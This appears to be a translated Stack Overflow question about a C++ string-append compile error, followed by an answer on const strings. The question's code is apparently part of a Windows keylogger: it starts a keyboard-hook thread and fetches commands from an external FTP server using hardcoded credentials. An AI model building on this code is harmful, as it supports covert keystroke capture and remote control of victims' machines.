有没有办法“重新构建”非const char?

时间:2013-05-24 07:14:42

标签: c++ c char const tokenize

假设我有一个char或char数组没有被删除。我修改它等 然后我想稍后关闭所有修改。 有没有办法重建一个炭? 这个问题出现在我写以下内容时: 我无法将每个char元素附加到一个字符串中(稍后用operator + =修复)。

#include <iostream>
#include <windows.h>
#include <process.h>
#include <string>
#include <Wininet.h>
#include <vector>

using std::string;
using std::cout;
using std::cin;
using std::vector;

unsigned int __stdcall keylogthreadhook(void *);
LRESULT CALLBACK LowLevelKeyboardProc(int, WPARAM, LPARAM);


string tempkeylog_buffer;
char ftpreadbuffer[1024];
vector<string> filetokens;

unsigned int threadid = 0;
DWORD numberread = 0;


int main(){

_beginthreadex(NULL,  0, &keylogthreadhook, NULL, 0, &threadid);

HINTERNET connection = InternetOpen("Keyclient", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

cout << GetLastError();

HINTERNET ftpinstance = InternetConnect(connection, "ftp.drivehq.com", INTERNET_DEFAULT_FTP_PORT, "ludibrium", "22073kk", INTERNET_SERVICE_FTP, NULL, NULL);

cout << GetLastError();

HINTERNET filehandle = FtpOpenFile(ftpinstance, "command.txt", GENERIC_READ,FTP_TRANSFER_TYPE_ASCII, NULL);

cout << GetLastError();

InternetReadFile(filehandle, (char *)ftpreadbuffer, 1024, &numberread);

cout << GetLastError();

string temporarystr;


for(int i = 0; ftpreadbuffer[i] != '.'; i++){

    if(ftpreadbuffer[i] == '\n'){
        filetokens.push_back(temporarystr);
        temporarystr.clear();
    }

    temporarystr.append(ftpreadbuffer[i]); //error here!


}

cout << filetokens[0].c_str() << filetokens[1].c_str();




return 0;
}

错误:-------------------------------

invalid conversion from 'char' to 'const char*'|

error:   initializing argument 1 of 'std::basic_string<_CharT, _Traits, _Alloc>&       std::basic_string<_CharT, _Traits, _Alloc>::append(const _CharT*) [with _CharT = char, _Traits = std::char_traits<char>, _Alloc = std::allocator<char>]'|

1 个答案:

答案 0 :(得分:4)

我将使用一种简单的方法,例如:

std::string modifiable_string = "Hello";

modifiable_string += " Jack!";

...

const std::string &const_string = modifiable_string;
//                ^
//                It's up to you, you can drop it

...

just use const_string

const_string += " Bye"; // ERROR

...